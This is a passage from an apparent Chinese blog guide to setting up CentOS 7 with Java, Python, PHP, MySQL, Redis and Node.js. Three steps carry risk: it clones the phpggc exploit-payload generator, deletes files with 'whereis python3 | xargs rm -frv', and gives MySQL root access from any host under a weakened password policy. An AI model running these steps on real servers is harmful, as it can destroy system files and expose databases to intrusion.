class="line"></span><br></pre></td></tr></table></figure><p>换国外源</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">cd /etc/yum.repos.d/</span><br><span class="line">mv CentOS-Base.repo CentOS-Base.repo.bk.aliyun</span><br><span class="line">mv CentOS-Base.repo.bk CentOS-Base.repo</span><br><span class="line">yum clean all &amp;&amp; yum makecache</span><br><span class="line">cd</span><br></pre></td></tr></table></figure><h4 id="官方源"><a href="#官方源" class="headerlink" title="官方源"></a>官方源</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># CentOS-Base.repo</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># The mirror system uses the connecting IP address of the client and the</span></span><br><span class="line"><span class="comment"># update status of each mirror to pick mirrors that are updated to and</span></span><br><span class="line"><span class="comment"># geographically close to the client.  You should use this for CentOS updates</span></span><br><span class="line"><span class="comment"># unless you are manually picking other mirrors.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># If the mirrorlist= does not work for you, as a fall back you can try the </span></span><br><span class="line"><span class="comment"># remarked out baseurl= line instead.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"></span><br><span class="line">[base]</span><br><span class="line">name=CentOS-<span class="variable">$releasever</span> - Base</span><br><span class="line">mirrorlist=http://mirrorlist.centos.org/?release=<span class="variable">$releasever</span>&amp;arch=<span class="variable">$basearch</span>&amp;repo=os&amp;infra=<span class="variable">$infra</span></span><br><span class="line"><span class="comment">#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/</span></span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br><span class="line"></span><br><span class="line"><span class="comment">#released updates </span></span><br><span class="line">[updates]</span><br><span class="line">name=CentOS-<span class="variable">$releasever</span> - Updates</span><br><span class="line">mirrorlist=http://mirrorlist.centos.org/?release=<span class="variable">$releasever</span>&amp;arch=<span class="variable">$basearch</span>&amp;repo=updates&amp;infra=<span class="variable">$infra</span></span><br><span class="line"><span class="comment">#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/</span></span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br><span class="line"></span><br><span class="line"><span class="comment">#additional packages that may be useful</span></span><br><span class="line">[extras]</span><br><span class="line">name=CentOS-<span class="variable">$releasever</span> - Extras</span><br><span class="line">mirrorlist=http://mirrorlist.centos.org/?release=<span class="variable">$releasever</span>&amp;arch=<span class="variable">$basearch</span>&amp;repo=extras&amp;infra=<span class="variable">$infra</span></span><br><span class="line"><span class="comment">#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/</span></span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br><span class="line"></span><br><span class="line"><span class="comment">#additional packages that extend functionality of existing packages</span></span><br><span class="line">[centosplus]</span><br><span class="line">name=CentOS-<span class="variable">$releasever</span> - Plus</span><br><span class="line">mirrorlist=http://mirrorlist.centos.org/?release=<span class="variable">$releasever</span>&amp;arch=<span class="variable">$basearch</span>&amp;repo=centosplus&amp;infra=<span class="variable">$infra</span></span><br><span class="line"><span class="comment">#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/</span></span><br><span class="line">gpgcheck=1</span><br><span class="line">enabled=0</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br></pre></td></tr></table></figure><h2 id="Linux-最小化工具库"><a href="#Linux-最小化工具库" class="headerlink" title="Linux 最小化工具库"></a>Linux 最小化工具库</h2><p>因为是最小化安装，所以好多常用工具需要自行安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install -y vim lrzsz gcc gcc-c++ net-tools wget automake cmake gzip bzip2 zip unzip kernel kernel-devel kernel-headers git-all screen </span><br></pre></td></tr></table></figure><h2 id="Java-环境"><a href="#Java-环境" class="headerlink" title="Java 环境"></a>Java 环境</h2><p>安装多个Java版本是可以切换的，没有测试在运行程序，切换版本，会不会出现故障，最好测试一下，目前本地测试服务未出现故障，没有跑服务，自测吧，可以根据需要进行安装</p><p><img src="/2022/2917416115/image.png" alt="img"></p><h3 id="Java11"><a href="#Java11" class="headerlink" title="Java11"></a>Java11</h3><p>1.安装java环境</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">wget https://download.java.net/openjdk/jdk11/ri/openjdk-11+28_linux-x64_bin.tar.gz</span><br><span class="line">mkdir /opt/java</span><br><span class="line">tar zxvf openjdk-11+28_linux-x64_bin.tar.gz -C /opt/java</span><br><span class="line">rm -rf openjdk-11+28_linux-x64_bin.tar.gz</span><br><span class="line"></span><br><span class="line">vim  /etc/profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># java 11</span></span><br><span class="line"><span class="built_in">export</span> JAVA_HOME=/opt/java/jdk-11</span><br><span class="line"><span class="built_in">export</span> JRE_HOME=/opt/java/jdk-11</span><br><span class="line"><span class="built_in">export</span> CLASSPATH=.:<span class="variable">$&#123;JAVA_HOME&#125;</span>/lib:<span class="variable">$&#123;JRE_HOME&#125;</span>/lib</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$&#123;PATH&#125;</span>:<span class="variable">$&#123;JAVA_HOME&#125;</span>/bin:<span class="variable">$&#123;JRE_HOME&#125;</span>/bin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载源</span></span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><h3 id="Java8"><a href="#Java8" class="headerlink" title="Java8"></a>Java8</h3><p>yum安装</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install java-<span class="number">1.8</span><span class="number">.0</span>-openjdk.x86_64 -y</span><br></pre></td></tr></table></figure><p>源码安装-jdk-8u77</p><p>需要自己下载源码、官网下载需要注册登录下载，1.8之后的，可自行注册下载，所需版本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">mkdir /opt/java</span><br><span class="line">tar zxvf jdk-8u77-linux-x64.tar.gz -C /opt/java</span><br><span class="line">rm -rf jdk-8u77-linux-x64.tar.gz</span><br><span class="line"></span><br><span class="line">vim  /etc/profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># java 8</span></span><br><span class="line"><span class="built_in">export</span> JAVA_HOME=/opt/java/jdk1.8.0_77</span><br><span class="line"><span class="built_in">export</span> JRE_HOME=/opt/java/jdk1.8.0_77</span><br><span class="line"><span class="built_in">export</span> CLASSPATH=.:<span class="variable">$&#123;JAVA_HOME&#125;</span>/lib:<span class="variable">$&#123;JRE_HOME&#125;</span>/lib</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$&#123;PATH&#125;</span>:<span class="variable">$&#123;JAVA_HOME&#125;</span>/bin:<span class="variable">$&#123;JRE_HOME&#125;</span>/bin</span><br><span class="line"></span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><h3 id="Java7"><a href="#Java7" class="headerlink" title="Java7"></a>Java7</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">mkdir /opt/java</span><br><span class="line">tar zxvf jdk-7u80-linux-x64.tar.gz -C /opt/java</span><br><span class="line"></span><br><span class="line">vim  /etc/profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># java 7</span></span><br><span class="line"><span class="built_in">export</span> JAVA_HOME=/opt/java/jdk1.7.0_80</span><br><span class="line"><span class="built_in">export</span> JRE_HOME=/opt/java/jdk1.7.0_80</span><br><span class="line"><span class="built_in">export</span> CLASSPATH=.:<span class="variable">$&#123;JAVA_HOME&#125;</span>/lib:<span class="variable">$&#123;JRE_HOME&#125;</span>/lib</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$&#123;PATH&#125;</span>:<span class="variable">$&#123;JAVA_HOME&#125;</span>/bin:<span class="variable">$&#123;JRE_HOME&#125;</span>/bin</span><br><span class="line"></span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br></pre></td></tr></table></figure><h3 id="Java切换JDK-版本"><a href="#Java切换JDK-版本" class="headerlink" title="Java切换JDK 版本"></a>Java切换JDK 版本</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 将Java目录加入JDK选择列表</span></span><br><span class="line">update-alternatives  --install  /usr/bin/java  java  /opt/java/jdk-11/bin/java  11</span><br><span class="line">update-alternatives  --install  /usr/bin/java  java  /opt/java/jdk1.8.0_77/bin/java  8</span><br><span class="line">update-alternatives  --install  /usr/bin/java  java  /opt/java/jdk1.7.0_80/bin/java  7</span><br><span class="line"></span><br><span class="line"><span class="comment"># 切换版本选择需要jdk的版本</span></span><br><span class="line">update-alternatives  --config  java     </span><br></pre></td></tr></table></figure><h3 id="maven"><a href="#maven" class="headerlink" title="maven"></a>maven</h3><p>安装Java打包程序</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">wget https:<span class="comment">//dlcdn.apache.org/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz</span></span><br><span class="line">tar -xvf  apache-maven-<span class="number">3.6</span><span class="number">.3</span>-bin.tar.gz</span><br><span class="line">mv -f apache-maven-<span class="number">3.6</span><span class="number">.3</span> /usr/local/</span><br><span class="line">rm -rf apache-maven-<span class="number">3.6</span><span class="number">.3</span>-bin.tar.gz</span><br></pre></td></tr></table></figure><p>添加环境变量</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># maven</span></span><br><span class="line"><span class="built_in">export</span> MAVEN_HOME=/usr/<span class="built_in">local</span>/apache-maven-3.6.3</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$&#123;PATH&#125;</span>:<span class="variable">$&#123;MAVEN_HOME&#125;</span>/bin</span><br><span class="line"><span class="built_in">source</span> /etc/profile</span><br><span class="line">mvn -v</span><br></pre></td></tr></table></figure><h2 id="Python-3-9-7"><a href="#Python-3-9-7" class="headerlink" title="Python 3.9.7"></a>Python 3.9.7</h2><p><a href="https://note.qidong.name/2021/05/multiple-python/">https://note.qidong.name/2021/05/multiple-python/</a></p><p>Linux 安装</p><p>1.查看Python 版本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python -V</span><br><span class="line"><span class="comment"># CentOS 7 中自带的python版本是python-2.7.5 ,python是3.6的很多版本需要3.7的所需需要安装高版本，</span></span><br></pre></td></tr></table></figure><p>2.下载安装</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">wget https://www.python.org/ftp/python/<span class="number">3.9</span><span class="number">.7</span>/Python-<span class="number">3.9</span><span class="number">.7</span>.tar.xz</span><br><span class="line">tar -xvJf Python-<span class="number">3.9</span><span class="number">.7</span>.tar.xz</span><br><span class="line">yum install -y zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gcc  libffi-devel</span><br><span class="line">cd Python-<span class="number">3.9</span><span class="number">.7</span></span><br><span class="line">./configure --prefix=/usr/local/python3</span><br><span class="line">make &amp;&amp; make install</span><br><span class="line">cd ..</span><br><span class="line">rm -rf Python-<span class="number">3.9</span><span class="number">.7</span>.tar.xz Python-<span class="number">3.9</span><span class="number">.7</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载</span></span><br><span class="line"><span class="comment"># 解压</span></span><br><span class="line"><span class="comment"># 安装依赖包</span></span><br><span class="line"><span class="comment"># 进入python目录</span></span><br><span class="line"><span class="comment"># 编译</span></span><br><span class="line"><span class="comment"># 安装</span></span><br></pre></td></tr></table></figure><p>3.创建链接</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">ln -s /usr/local/python3/<span class="built_in">bin</span>/python3<span class="number">.9</span> /usr/<span class="built_in">bin</span>/python3</span><br><span class="line">ln -s /usr/local/python3/<span class="built_in">bin</span>/pip3<span class="number">.9</span> /usr/<span class="built_in">bin</span>/pip3</span><br><span class="line"><span class="comment"># 创建python3链接</span></span><br><span class="line"><span class="comment"># 创建pip3链接</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#更新 pip</span></span><br><span class="line">/usr/local/python3/<span class="built_in">bin</span>/python3<span class="number">.9</span> -m pip install --upgrade pip</span><br></pre></td></tr></table></figure><p>4.修改yum配置（可选）</p><p>因为执行yum需要python2版本，所以我们还要修改yum的配置</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/<span class="built_in">bin</span>/yum</span><br><span class="line"><span class="comment">#! /usr/bin/python修改为#! /usr/bin/python2</span></span><br><span class="line">vim /usr/libexec/urlgrabber-ext-down</span><br><span class="line"><span class="comment">#! /usr/bin/python 也要修改为#! /usr/bin/python2</span></span><br></pre></td></tr></table></figure><p>5.创建虚拟环境（可选）</p><p><a href="https://www.huaweicloud.com/articles/0cd569e4f8aab86e7f4ec3be6adce8fb.html">virtualenv</a> 是一个可以在同一计算机中隔离多个python版本的工具。如 python2.7 / python3.9 ，但是如果都装到一起，经常会导致问题。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pip3 install --upgrade pip</span><br><span class="line">pip3 install virtualenv</span><br><span class="line">pip3 install virtualenvwrapper</span><br></pre></td></tr></table></figure><p>修改文件路径</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">vim ~/.bashrc</span><br><span class="line"><span class="comment">#在文件末尾添加</span></span><br><span class="line">VIRTUALENVWRAPPER_PYTHON=/usr/local/python3/<span class="built_in">bin</span>/python3 <span class="comment"># 指定virtualenvwrapper执行的python版本</span></span><br><span class="line">export WORKON_HOME=$HOME/.virtualenvs <span class="comment"># 指定虚拟环境存放目录，.virtualenvs目录名可自拟</span></span><br><span class="line">source /usr/local/python3/<span class="built_in">bin</span>/virtualenvwrapper.sh <span class="comment"># virtualenvwrapper.sh所在目录</span></span><br></pre></td></tr></table></figure><p>安装virtualenv</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">source ~/.bashrc</span><br><span class="line">ln -s /usr/local/python3/<span class="built_in">bin</span>/virtualenv /usr/local/<span class="built_in">bin</span>/virtualenv</span><br><span class="line">mkvirtualenv --python=/usr/<span class="built_in">bin</span>/python3 py3-env</span><br></pre></td></tr></table></figure><p>6.卸载 Python3 （可选）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#卸载pyhton3</span></span><br><span class="line">rpm -qa|grep python3|xargs rpm -ev --allmatches --nodeps</span><br><span class="line"></span><br><span class="line"><span class="comment">#删除所有残余文件</span></span><br><span class="line">whereis python3 |xargs rm -frv</span><br><span class="line"><span class="comment">#卸载完成</span></span><br><span class="line"><span class="comment">#查看现有的已安装的python</span></span><br><span class="line">whereis python</span><br></pre></td></tr></table></figure><h2 id="Python-2-扩展"><a href="#Python-2-扩展" class="headerlink" title="Python 2 扩展"></a>Python 2 扩展</h2><p>Centos7 默认自带 Python 2.7.5 版本，但是缺少 pip库 以及常用的模块，这里列举了，模块的安装方式，如果pip 安装不成功，可以尝试通过去官网下载编译安装</p><p>Python2的常用的库   <a href="https://pypi.org/">https://pypi.org/</a></p><p>安装方式列举</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装 setuptools</span></span><br><span class="line">wget https://pypi.python.org/packages/<span class="number">45</span>/<span class="number">29</span>/8814bf414e7cd1031e1a3c8a4169218376e284ea2553cc0822a6ea1c2d78/setuptools-<span class="number">36.6</span><span class="number">.0</span>.<span class="built_in">zip</span><span class="comment">#md5=74663b15117d9a2cc5295d76011e6fd1</span></span><br><span class="line">unzip setuptools-<span class="number">36.6</span><span class="number">.0</span>.<span class="built_in">zip</span> </span><br><span class="line">cd setuptools-<span class="number">36.6</span><span class="number">.0</span></span><br><span class="line">python setup.py install</span><br><span class="line">cd .. </span><br><span class="line">rm -rf setuptools-<span class="number">36.6</span><span class="number">.0</span> setuptools-<span class="number">36.6</span><span class="number">.0</span>.<span class="built_in">zip</span> </span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 requests</span></span><br><span class="line">wget https://pypi.python.org/packages/5b/0b/34be574b1ec997247796e5d516f3a6b6509c4e064f2885a96ed885ce7579/requests-<span class="number">2.12</span><span class="number">.4</span>.tar.gz</span><br><span class="line">tar -zxvf requests-<span class="number">2.12</span><span class="number">.4</span>.tar.gz</span><br><span class="line">cd requests-<span class="number">2.12</span><span class="number">.4</span></span><br><span class="line">python setup.py install</span><br><span class="line">cd ..</span><br><span class="line">rm -rf requests-<span class="number">2.12</span><span class="number">.4</span>.tar.gz requests-<span class="number">2.12</span><span class="number">.4</span></span><br></pre></td></tr></table></figure><p>安装 pip</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">wget https://pypi.python.org/packages/<span class="number">11</span>/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-<span class="number">9.0</span><span class="number">.1</span>.tar.gz<span class="comment">#md5=35f01da33009719497f01a4ba69d63c9</span></span><br><span class="line">tar -zxvf pip-<span class="number">9.0</span><span class="number">.1</span>.tar.gz</span><br><span class="line">cd pip-<span class="number">9.0</span><span class="number">.1</span></span><br><span class="line">python setup.py install</span><br><span class="line">pip install --upgrade pip</span><br><span class="line">cd ..</span><br><span class="line">rm -rf pip-<span class="number">9.0</span><span class="number">.1</span>.tar.gz pip-<span class="number">9.0</span><span class="number">.1</span></span><br></pre></td></tr></table></figure><h2 id="PHP-环境安装"><a href="#PHP-环境安装" class="headerlink" title="PHP 环境安装"></a>PHP 环境安装</h2><h3 id="PHP7-3"><a href="#PHP7-3" class="headerlink" title="PHP7.3"></a>PHP7.3</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yum install -y epel-release yum-utils</span><br><span class="line">yum install -y http://rpms.remirepo.net/enterprise/remi-release-7.rpm</span><br><span class="line">yum install -y php73-php-fpm php73-php-cli php73-php-bcmath php73-php-gd php73-php-json php73-php-mbstring php73-php-mcrypt php73-php-mysqlnd php73-php-opcache php73-php-pdo php73-php-pecl-crypto php73-php-pecl-mcrypt php73-php-pecl-geoip php73-php-pecl-swoole php73-php-recode php73-php-snmp php73-php-soap php73-php-xmll</span><br><span class="line">ln -s /opt/remi/php73/root/usr/bin/php /usr/bin/php</span><br></pre></td></tr></table></figure><h3 id="phpggc"><a href="#phpggc" class="headerlink" title="phpggc"></a>phpggc</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/ambionics/phpggc.git</span><br></pre></td></tr></table></figure><h2 id="MySQL-安装"><a href="#MySQL-安装" class="headerlink" title="MySQL 安装"></a>MySQL 安装</h2><h3 id="Centos"><a href="#Centos" class="headerlink" title="Centos"></a>Centos</h3><p><a href="https://cloud.tencent.com/developer/article/1886339">https://cloud.tencent.com/developer/article/1886339</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># centos 7</span></span><br><span class="line">wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm</span><br><span class="line">rpm -Uvh mysql57-community-release-el7-10.noarch.rpm</span><br><span class="line">yum install -y mysql-community-server</span><br><span class="line">systemctl start mysqld.service</span><br><span class="line">systemctl status mysqld.service</span><br><span class="line">systemctl <span class="built_in">enable</span> mysqld</span><br><span class="line">systemctl daemon-reload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#查询密码</span></span><br><span class="line">grep <span class="string">&#x27;temporary password&#x27;</span> /var/<span class="built_in">log</span>/mysqld.log </span><br><span class="line"></span><br><span class="line">mysql -uroot -p</span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改密码复杂度</span></span><br><span class="line"><span class="built_in">set</span> global validate_password_policy=0;</span><br><span class="line"><span class="built_in">set</span> global validate_password_length=1;</span><br><span class="line"></span><br><span class="line"><span class="comment">#设置密码</span></span><br><span class="line">ALTER USER <span class="string">&#x27;root&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> IDENTIFIED BY <span class="string">&#x27;yourpassword&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 授权其他机器远程登录</span></span><br><span class="line">GRANT ALL PRIVILEGES ON *.* TO <span class="string">&#x27;root&#x27;</span>@<span class="string">&#x27;%&#x27;</span> IDENTIFIED BY <span class="string">&#x27;yourpassword&#x27;</span> WITH GRANT OPTION;</span><br><span class="line">FLUSH PRIVILEGES;</span><br><span class="line"></span><br><span class="line"><span class="comment">#修改为UTF-8 修改内容如下</span></span><br><span class="line">vim /etc/my.cnf</span><br><span class="line"></span><br><span class="line">[mysql]</span><br><span class="line">default-character-set=utf8</span><br><span class="line"> </span><br><span class="line">[mysqld]</span><br><span class="line">datadir=/var/lib/mysql</span><br><span class="line">socket=/var/lib/mysql/mysql.sock</span><br><span class="line">default-storage-engine=INNODB</span><br><span class="line">character_set_server=utf8</span><br><span class="line"> </span><br><span class="line">symbolic-links=0</span><br><span class="line"> </span><br><span class="line">log-error=/var/<span class="built_in">log</span>/mysqld.log</span><br><span class="line">pid-file=/var/run/mysqld/mysqld.pid</span><br><span class="line"></span><br><span class="line"><span class="comment"># 重启</span></span><br><span class="line">service mysqld restart</span><br><span class="line"></span><br><span class="line"><span class="comment">#添加防火墙规则</span></span><br><span class="line">firewall-cmd --state</span><br><span class="line">firewall-cmd --zone=public --add-port=3306/tcp --permanent</span><br><span class="line">firewall-cmd --reload</span><br></pre></td></tr></table></figure><p>卸载MySQL</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rpm -qa | grep mysql</span><br><span class="line">yum -y remove mysql57-community-release-el7-10.noarch</span><br></pre></td></tr></table></figure><h2 id="Redis-客户端"><a href="#Redis-客户端" class="headerlink" title="Redis 客户端"></a>Redis 客户端</h2><p>是连接用的客户端</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">wget http://download.redis.io/redis-stable.tar.gz</span><br><span class="line">tar xvzf redis-stable.tar.gz</span><br><span class="line">cd redis-stable</span><br><span class="line">make</span><br><span class="line">sudo cp src/redis-cli /usr/local/<span class="built_in">bin</span>/</span><br></pre></td></tr></table></figure><p>使用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h</span><br></pre></td></tr></table></figure><h2 id="Node-js"><a href="#Node-js" class="headerlink" title="Node.js"></a>Node.js</h2><p>node-v16.15.0</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mkdir /usr/<span class="built_in">local</span>/node</span><br><span class="line"><span class="built_in">cd</span> /usr/<span class="built_in">local</span>/node</span><br><span class="line">wget https://npmmirror.com/mirrors/node/v16.15.0/node-v16.15.0-linux-x64.tar.xz</span><br><span class="line">tar xf node-v16.15.0-linux-x64.tar.xz </span><br><span class="line">rm -rf node-v16.15.0-linux-x64.tar.xz  </span><br><span class="line"></span><br><span class="line">ln -s /usr/<span class="built_in">local</span>/node/node-v16.15.0-linux-x64/bin/npm /usr/<span class="built_in">local</span>/bin/</span><br><span class="line">ln -s /usr/<span class="built_in">local</span>/node/node-v16.15.0-linux-x64/bin/node /usr/<span class="built_in">local</span>/bin/</span><br></pre></td></tr></table></figure><h2 id="Ruby安装"><a href="#Ruby安装" class="headerlink" title="Ruby安装"></a>Ruby安装</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 